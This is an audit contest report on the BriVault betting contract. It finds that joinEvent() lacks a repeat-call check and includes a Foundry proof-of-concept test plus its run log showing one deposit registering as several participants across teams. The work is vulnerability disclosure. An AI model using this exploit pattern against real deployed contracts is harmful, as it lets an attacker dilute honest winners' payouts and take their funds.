BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control in joinEvent()

Vulnerability Report: Missing Access Control in joinEvent()

Description

The BriVault contract has a critical access control vulnerability in the joinEvent() function that allows users to call it multiple times without any restrictions. The function is supposed to let users choose which team they want to bet on, but there is no check to prevent a user from calling this function repeatedly. An attacker can deposit once and then call joinEvent() as many times as they want with the same or different country IDs. Each call adds the user to the participants array again, increments the participant counter, and adds their shares to the total multiple times. This means a single user can appear in the system as if they are multiple different participants, and they can even bet on multiple teams simultaneously with just one deposit.

Impact

This vulnerability completely breaks the betting system's integrity and fairness. An attacker can inflate the participant count to make it look like there are more bettors than there really are. They can also bet on multiple teams at once, essentially hedging their bets so they are guaranteed to be on the winning side no matter which team wins. When calculating winner payouts in the _getWinnerShares() function, the contract loops through the participants array and counts the same attacker multiple times, which artificially inflates the total winner shares. This dilutes the legitimate winners' payouts because the attacker's shares are counted multiple times in the calculation. The entire economic model collapses because one person can game the system to guarantee profits while honest participants lose money.

Exploit Code:

POC:

┌──(m1s0㉿M1S0)-[~/Desktop/Shepherd/2025-11-brivault-main]
└─$ forge test --match-test testExploitMultipleJoinEvent -vv
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.30
[⠊] Solc 0.8.30 finished in 780.13ms
Compiler run successful with warnings:
Warning (2072): Unused local variable.
--> test/Exploit.t.sol:62:9:
|
62 | uint256 totalSharesBefore = briVault.totalParticipantShares();
| ^^^^^^^^^^^^^^^^^^^^^^^^^
Warning (2072): Unused local variable.
--> test/Exploit.t.sol:82:9:
|
82 | uint256 totalSharesAfterThird = briVault.totalParticipantShares();
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ran 1 test for test/Exploit.t.sol:ExploitTest
[PASS] testExploitMultipleJoinEvent() (gas: 414313)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.64ms (261.42µs CPU time)
Ran 1 test suite in 10.08ms (2.64ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ExploitTest is Test {
BriVault public briVault;
BriTechToken public token;
address public owner;
address public attacker;
address public feeCollector;
uint256 public eventStartDate;
uint256 public eventEndDate;
uint256 public participationFeeBsp = 100;
uint256 public minimumAmount = 100 * 1e18;
string[48] public teams;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
feeCollector = makeAddr("feeCollector");
eventStartDate = block.timestamp + 1 days;
eventEndDate = block.timestamp + 30 days;
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
briVault = new BriVault(
token,
participationFeeBsp,
eventStartDate,
feeCollector,
minimumAmount,
eventEndDate
);
teams[0] = "Brazil";
teams[1] = "Argentina";
teams[2] = "Germany";
teams[3] = "France";
briVault.setCountry(teams);
vm.stopPrank();
deal(address(token), attacker, 50000 * 1e18);
}
function testExploitMultipleJoinEvent() public {
vm.startPrank(attacker);
token.approve(address(briVault), type(uint256).max);
briVault.deposit(5000 * 1e18, attacker);
uint256 participantsBefore = briVault.numberOfParticipants();
uint256 totalSharesBefore = briVault.totalParticipantShares();
briVault.joinEvent(0);
uint256 participantsAfterFirst = briVault.numberOfParticipants();
uint256 totalSharesAfterFirst = briVault.totalParticipantShares();
assertEq(participantsAfterFirst, participantsBefore + 1);
briVault.joinEvent(0);
uint256 participantsAfterSecond = briVault.numberOfParticipants();
uint256 totalSharesAfterSecond = briVault.totalParticipantShares();
assertEq(participantsAfterSecond, participantsAfterFirst + 1);
assertGt(totalSharesAfterSecond, totalSharesAfterFirst);
briVault.joinEvent(1);
uint256 participantsAfterThird = briVault.numberOfParticipants();
uint256 totalSharesAfterThird = briVault.totalParticipantShares();
assertEq(participantsAfterThird, participantsAfterSecond + 1);
assertEq(participantsAfterThird, 3);
vm.stopPrank();
}
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!